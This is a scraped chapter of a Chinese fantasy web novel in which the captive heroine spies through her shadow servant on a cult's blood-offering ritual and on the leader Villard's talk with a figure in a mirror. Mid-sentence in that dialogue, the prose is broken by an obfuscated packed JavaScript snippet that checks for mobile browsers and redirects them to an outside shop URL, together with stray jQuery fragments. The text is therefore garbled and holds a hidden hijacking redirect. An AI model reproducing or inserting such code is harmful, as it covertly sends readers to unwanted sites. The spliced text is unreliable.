默认冷灰
24号文字
方正启体

21.注视

作者:火锅研究生本书字数:K更新时间:
    程默微微睁大眼睛,在那一瞬间,她好像透过雕像,看到了在其背后的身影。


    似血般?丽的红裙垂落在地,仿佛整个地面都是裙摆的延伸,祂笑着将镶满红宝石的面具半遮在眉眼间,比宝石更瑰丽的是面具下的猩红血眸,那样浓稠。


    银杯在祂手中摇晃,散发出甜腻的、令人眩晕的香气,程默的世界开始旋转,身体不受控制的朝前坠,恍惚间似乎还能听到一声轻笑。


    漆黑的影子在地面上无声的扭动,是清道夫。


    它换上的皮此刻僵硬在原地,焦急到近乎尖锐的情绪从阴影里传来,像是溺水的人拼命抓住最后一根救命稻草。


    但它没有轻举妄动,它在等待她的命令。


    不行,清道夫现在是她手里隐藏的牌,不能就这么打出。


    程默在心里摇了摇头,扭曲的影子顿住,瞬间收拢回去。


    “即便是卑贱的虫子,也会倾倒在您的身姿下。”


    旋转楼梯上,维拉德扶着扶手,虔诚又狂热的望着雕像,他拾阶而下,视线却不舍的留恋在雕像上。


    “如何?”他居高临下的看着程默,勾起一丝若有似无的笑意,“看到那位的身影后,终于明白自己是多么荣幸了吧。”


    他的声音很轻,像是在哄骗。


    “能作为祂的容器,是多么的幸运。”


    程默动了动嘴想骂人,但视线却越来越模糊,在地牢里她的精神已经很脆弱了,此刻在这甜醉的香气下,更是混沌的说不出话。


    很快,像是烛火被风吹灭,她陷入了昏睡。


    再醒来时,她躺在一张床上。


    柔软干燥带着淡淡熏香的床铺,阳光透过半遮的纱质窗帘照进来,在地毯上投下一片柔和的、暖黄色的光斑。


    宽敞明亮的房间,是她和维拉德约定的那样。


    程默扶额,靠着床头坐了起来,那挥之不去的沉重感依旧压着她,连呼吸都显得急促。


    她缓了缓心绪,想起在晕过去前给清道夫下的命令,潜伏。


    不知道它执行的怎么样。


    清道夫。


    她在心中呼唤,眼前的视野骤然模糊,随后变得清晰——


    昏暗的礼堂内,四周都挂着暗红色的帷幕,吊灯上燃烧着洁白的蜡烛,底下坐着无数身着白色长袍的信徒。


    他们的脸上带着和清道夫一样的瓷白面具,面前放置着一个小巧精致的银杯和一柄匕首,所有人都肃穆又狂热的看着高台之上的那个人,维拉德。


    程默的意识自然而然的落到了清道夫身上,和在连心小区门前时一样,她可以控制由清道夫化作的人形。


    但她没动,只是静静的看着。


    维拉德依然带着那面银色鎏金面具,神情庄重,身上的衣服也比之前要隆重的多,礼服上绣着繁复的暗纹,领口开出层层叠叠的裙褶。


    他缓缓抬起一只手。


    本就安静的礼堂,此刻连呼吸声都仿若消失,只剩下蜡烛燃烧时的声音。


    “红冕终将降临,”维拉德的声音不高,但却在礼堂中回荡,“我已找到最好的容器,仪式就要开始了。”


    程默心头一跳,想听听仪式开始的时间,她好知道什么时候跑。


    可维拉德没再开口,而是从怀中取出一把小刀。


    刀刃在烛光中反射出冷冽的光,刃口锋利。


    他挽起左手的袖子,露出苍白的小臂,然后将刀刃抵在手腕上。


    随后,面无表情的割了下去。


    血液从伤口涌出,鲜红、滚烫,顺着他的手腕滴落到下方的银杯。


    “向您敬献。”维拉德低声说道。


    随后,其他人开始模仿他的动作。


    一个接一个的拿起小刀隔开自己的手腕,将血液滴入面前的银杯。


    没有人犹豫,也没有人颤抖,动作整齐的像重复了成千上万次。


    程默也学着其他人的样子,将桌面上的匕首抵在手腕,割了下去。


    没有痛感,也没有血。


    只有黏腻的、漆黑的像是活物一样的东西从伤口涌出。


    黑你缓缓的落入银杯,在杯底蠕动、翻涌。


    程默下意识屏住了呼吸。


    但没有人注意到她的异样。


    信徒太多了,每个人都在专注自己的献祭,没有人会分神去观察身边人杯子里的液体是红是黑。


    他们低声道:“向您敬献。”


    程默本想也学着说这句话,可第一个字刚出口,一种被注视的感觉就顺着她的脊背往上爬。


    潜意识告诉她,把话说完一定会招来什么。


    她沉默了。


    随后,维拉德做了个手势,信徒们站了起来,开始朝外走去。


    程默控制着身体混在人群中,出了礼堂,那种肃穆的氛围减轻几分,周围人开始交谈。


    “鸽血宝石不够,要去交易行一趟。”


    “月色之水、血玫瑰也需要。”


    “三个人就够了,谁去?”


    程默脚步一转,朝他们走去,这可是打探逃跑路线的好时机。


    为首的人没对她起疑,点了点头,说道:“最近异常处理部的动作很多,采买要分三次,今晚10点大门见。”


    程默不动声色的点了点头,看来至少在采买完成前,仪式不会进行。


    于是,她收回了自己的意识,重新让清道夫接管。


    视野再次回到黑暗,她的眼前有三幅画面供她的意识前往。


    一个是房间,一个是清道夫,还有一个……在礼堂。


    这是怎么回事?


    程默试探的触碰了礼堂的画面,意识在银杯中醒来。


    是割血留下的黑泥。


    她小心的控制黑泥朝杯口移动,越过杯口,她看到了维拉德在高台上的背影。


    他面前有一面镜子,雕着花纹的边框泛着暗沉的银色。


    镜面上有一个人影,却不是维拉德的倒影。


    那像是从镜面深处浮上来的,模糊、朦胧,像隔着一层磨砂玻璃。


    “维拉德门徒,”声音从镜子里传出,低沉沙哑,分辨不清男女,“降临不是你该做的事。”


    “我说了,这次的容器不一样。”维拉德语气平静。


    “既然有你说的那么好,”镜中的声音带着质问的意味,“为什么不送过来?”


    维拉德嗤笑一声,笑声里带着明显的轻蔑和不耐。


    “你们让红冕失望的次数还不够多吗?”


    他的声音冷了下来:“每一次都被盯上,每一次都被破坏,我已经受够听


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541891|203722||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你们的指令了。”


    镜中人的语气也冷了下来:“你就不怕失去祂的恩宠?”


    维拉德看向他,平淡开口:“那被恩宠的圣徒大人想必很快就能得到祂赐下的权柄。”


    近乎挑衅的话语让镜中人沉默了几秒。


    “拿取果实,也是红冕的期望。”


    “我知道,”维拉德的表情在烛火中显得阴鸷而执着,“果实我也会奉上。”


    他抬起手,做了一个干脆利落的手势。


    镜中的人影开始变得模糊,像是被什么东西从水面抹去。


    但就在彻底消失前,那人又开口说了一句,声音飘渺的像远方的回声——


    “静候你的佳音。”


    镜面恢复原样,只剩下烛光在玻璃上跳动。


    程默内心啧啧称奇,这维拉德还真是众生平等,谁都要骂两句。


    维拉德猛的扭头,目光如刀般扫过整个礼堂。


    被发现了?


    程默惊的瞬间缩回银杯,死死贴着杯壁,试图通过脚步声判断维拉德的方位。


    维拉德走下高台,身形在银杯间穿梭,目光仔细的扫过每一只杯子,每一寸地面,每一个可能藏匿的角落。


    “被窥视的感觉,”他低声说,声音里带着压抑的怒意,“别让我知道是哪只虫子。”


    随后,他转身走了出去。


    脚步声渐行渐远,礼堂重新陷入寂静。


    程默等了一会,确认他彻底离开了才松了口气。


    这人属雷达的吧,这都被发现了。


    此地不宜久留,谁知道维拉德会不会杀个回马枪。


    程默刚准备控制黑泥,却突然看到头顶的吊灯不知何时熄灭了。


    不是被风吹,而是自然熄灭,烟气顺着吊灯上升,最后消散不见。


    与此同时,高台上的银杯也有了变化,杯中血液的高度开始下降。


    像是有什么看不见的东西在底部吸食着血液,直到一滴不剩。


    怎么回事?


    程默刚想收回意识,一股巨大的吸力攫住,她感觉自己在坠落,在收缩,在穿过一条狭隘的不可思议的通道。


    四周是化不开的黑暗,没有方向、没有声音、什么都没有。


    可一瞬的光阴,她又回到了银杯里。


    她爬出银杯,去看周围的杯子,无一例外,里面的血液全都消失不见了。


    所以——


    她刚刚是被吐出来了吗?


    还好被吐出来了,不然她的意识就彻底困在那片黑暗里了。


    程默想了想刚才的感觉,赶紧摇了摇头。


    说什么也不想再体验一次了。


    她控制着黑泥从银杯里爬出,沿着地面无声无息的滑行,穿过礼堂的门缝,融入阴影里,一路追寻着清道夫的气息,与之汇合。


    程默收回了自己的意识,睁开眼。


    房间没变,这是她自己的身体。


    她狠狠吐出一口气,躺倒在床铺里。


    本就不堪重负的身体此刻又被无尽的疲惫缠上。


    只是将意识投射到清道夫身上半个小时,她就累的一丝力气都没有了。


    程默这时才后知后觉的明白,她为什么不能使用巡礼者的力量。


    因为掌控不了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)